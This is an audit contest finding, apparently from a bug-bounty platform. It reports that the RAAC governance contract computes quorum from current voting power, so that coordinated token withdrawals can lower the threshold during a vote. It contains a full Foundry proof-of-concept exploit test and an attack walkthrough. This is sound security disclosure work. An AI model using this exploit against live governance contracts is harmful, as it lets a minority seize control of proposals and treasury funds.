Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Cordinated group of attacker can artificially lower quorum threshold during active proposals forcing malicious proposals to pass without true majority support.

Summary

A critical timing-based vulnerability exists in governance.sol system that allows malicious actors to manipulate voting quorums through coordinated token withdrawals.

It allows malicious actors to manipulate the quorum requirements for proposal voting. The vulnerability stems from the dynamic calculation of quorum based on total voting power, combined with the ability to coordinate token withdrawals after lock expiry. This enables attackers to artificially lower the quorum threshold during an active proposal's voting period, potentially allowing minority stakeholders to pass malicious proposals without true majority support.

The attack exploits the interaction between the veRAACToken's withdrawal mechanism and the Governance.sol quorum calculation, demonstrating how governance systems with dynamic quorum requirements can be vulnerable to timing-based manipulation attacks.

The vulnerability stems from three key design choices:

  • Dynamic quorum calculation based on total voting power

  • Ability to withdraw locked tokens after expiry

  • No quorum freezing mechanism during active proposals

Through detailed testing (testTimingAttackOnQuorum), i have dome my best to demonstrat how attackers can artificially lower the quorum requirement mid-proposal by coordinating withdrawals after lock expiry. This enables a minority stakeholder to pass proposals that would otherwise require significantly more support.

The proof of concept shows an attack reducing the quorum from 14,000e18 to 6,000e18 tokens, allowing a proposal to pass with just 99,726e18 votes - far less than what would have been required under the initial quorum.

Vulnerability Details

Quorum Calculation: https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/proposals/Governance.sol#L353

function quorum() public view returns (uint256) {
uint256 totalVotingPower = _veToken.getTotalVotingPower();
return totalVotingPower * QUORUM_PERCENTAGE / 100; // Dynamic calculation
}
  • Multiple coordinating attacker token holders

  • Patience to wait for lock expiry

  • Sufficient initial voting power to meet reduced quorum

  • Timing coordination for withdrawals

Proof of code;

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../../../../contracts/core/governance/proposals/Governance.sol";
import "../../../../../contracts/core/governance/proposals/TimelockController.sol";
import "../../../../../contracts/interfaces/core/governance/proposals/IGovernance.sol";
import "../../../../../contracts/interfaces/core/tokens/IveRAACToken.sol";
import "../../../../../contracts/core/tokens/veRAACToken.sol";
import "../../../../../contracts/core/tokens/RAACToken.sol";
contract GovernanceTest is Test {
Governance public governance;
TimelockController public timelock;
veRAACToken public veToken;
RAACToken public raacToken;
address public admin = address(this);
address public attacker = makeAddr("attacker");
address[] public attackerAccounts;
uint256 constant NUM_ACCOUNTS = 5;
function setUp() public {
// Deploy real RAAC token
raacToken = new RAACToken(
admin, // initial owner
100, // 1% swap tax
50 // 0.5% burn tax
);
// Set up minter role and mint initial tokens
raacToken.setMinter(address(this));
// Mint enough tokens for all test cases
raacToken.mint(address(this), 10_000_000e18); // 10M tokens for distribution
veToken = new veRAACToken(address(raacToken));
address[] memory proposers = new address[](1);
address[] memory executors = new address[](1);
proposers[0] = admin;
executors[0] = admin;
timelock = new TimelockController(2 days, proposers, executors, admin);
governance = new Governance(address(veToken), address(timelock));
timelock.grantRole(timelock.PROPOSER_ROLE(), address(governance));
timelock.grantRole(timelock.EXECUTOR_ROLE(), address(governance));
// Whitelist addresses to avoid tax
raacToken.manageWhitelist(address(this), true);
raacToken.manageWhitelist(address(veToken), true);
// Create multiple attacker accounts
for(uint i = 0; i < NUM_ACCOUNTS; i++) {
attackerAccounts.push(makeAddr(string.concat("attacker", vm.toString(i))));
// Whitelist and give tokens
raacToken.manageWhitelist(attackerAccounts[i], true);
raacToken.transfer(attackerAccounts[i], 200_000e18 * (i + 1));
}
// Give extra tokens to attacker0 for the proposal
raacToken.transfer(attackerAccounts[0], 500_000e18);
// Label accounts for better trace readability
vm.label(attackerAccounts[1], "legitimateUser");
vm.label(attackerAccounts[0], "attacker");
}
function testTimingAttackOnQuorum() public {
// Setup multiple attackers with significant voting power
for(uint i = 0; i < NUM_ACCOUNTS; i++) {
vm.startPrank(attackerAccounts[i]);
raacToken.approve(address(veToken), 200_000e18);
veToken.lock(200_000e18, 365 days);
vm.stopPrank();
}
// Give attacker0 extra voting power to meet proposal threshold
vm.startPrank(attackerAccounts[0]);
raacToken.approve(address(veToken), 400_000e18); // Additional 400k tokens
veToken.lock(400_000e18, 365 days); // This will give +100k voting power
vm.stopPrank();
// Create proposal
vm.startPrank(attackerAccounts[0]);
address[] memory targets = new address[](1);
uint256[] memory values = new uint256[](1);
bytes[] memory calldatas = new bytes[](1);
uint256 proposalId = governance.propose(
targets,
values,
calldatas,
"Timing Attack Proposal",
IGovernance.ProposalType.TreasuryAction
);
vm.stopPrank();
uint256 initialQuorum = governance.quorum();
console.log("Initial quorum requirement:", initialQuorum);
// Move to voting period
vm.warp(block.timestamp + governance.votingDelay() + 1);
// Only attacker votes
vm.prank(attackerAccounts[0]);
governance.castVote(proposalId, true);
// Fast forward past lock expiry (365 days + 1)
vm.warp(block.timestamp + 366 days);
// Now other attckers can unlock their tokens
for(uint i = 1; i < NUM_ACCOUNTS; i++) {
vm.prank(attackerAccounts[i]);
veToken.withdraw(); // Should work now since lock expired
}
// Check final quorum
uint256 finalQuorum = governance.quorum();
console.log("Final reduced quorum:", finalQuorum);
assertTrue(finalQuorum < initialQuorum, "Quorum should be reduced");
// Move past voting period
vm.warp(block.timestamp + governance.votingPeriod() + 1);
// Verify attack success
(uint256 forVotes, uint256 againstVotes) = governance.getVotes(proposalId);
assertTrue(
forVotes >= finalQuorum,
"Proposal passes with manipulated quorum"
);
IGovernance.ProposalState state = governance.state(proposalId);
assertTrue(
state == IGovernance.ProposalState.Succeeded,
"Proposal should succeed through timing attack"
);
}
}

Technical Deep Dive

  • Initial State Setup:

// Multiple attackers lock tokens
for(uint i = 0; i < NUM_ACCOUNTS; i++) {
vm.startPrank(attackerAccounts[i]);
raacToken.approve(address(veToken), 200_000e18);
veToken.lock(200_000e18, 365 days); // Each account locks 200k tokens
vm.stopPrank();
}
// Attacker gets extra voting power
vm.startPrank(attackerAccounts[0]);
raacToken.approve(address(veToken), 400_000e18);
veToken.lock(400_000e18, 365 days); // Attacker locks additional 400k tokens
vm.stopPrank();

Initial State:

  • Total Voting Power: 350,000e18

  • Quorum Requirement (4%): 14,000e18

  • Attacker Voting Power: ~100,000e18

Attack Execution Flow:

// Step 1: Create proposal
proposalId = governance.propose(
targets,
values,
calldatas,
"Timing Attack Proposal",
IGovernance.ProposalType.TreasuryAction
);
// Step 2: Attacker votes
vm.prank(attackerAccounts[0]);
governance.castVote(proposalId, true); // ~100k votes
// Step 3: Wait for lock expiry
vm.warp(block.timestamp + 366 days);
// Step 4: Coordinated attack withdrawals
for(uint i = 1; i < NUM_ACCOUNTS; i++) {
vm.prank(attackerAccounts[i]);
veToken.withdraw(); // Each withdrawal reduces total voting power
}

Final State:

  • Reduced Total Voting Power: 150,000e18

  • New Quorum Requirement: 6,000e18

  • Attacker's Votes: 99,726e18 (Now sufficient to pass)

Impact

A malicious actor can unilaterally pass governance proposals by coordinating token withdrawals to artificially lower the quorum from 14,000e18 to 6,000e18 tokens, and complete governance control with only ~100k votes instead of the intended higher threshold.

Take control of governance

  • Bypass intended democratic processes

  • Achieve this with far fewer votes than should be required

Tools Used

Recommendations

Freeze Quorum at Proposal Creation

Implement Withdrawal Restrictions

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance::quorum uses current total voting power instead of proposal creation snapshot, allowing manipulation of threshold requirements to force proposals to pass or fail

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance::quorum uses current total voting power instead of proposal creation snapshot, allowing manipulation of threshold requirements to force proposals to pass or fail

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!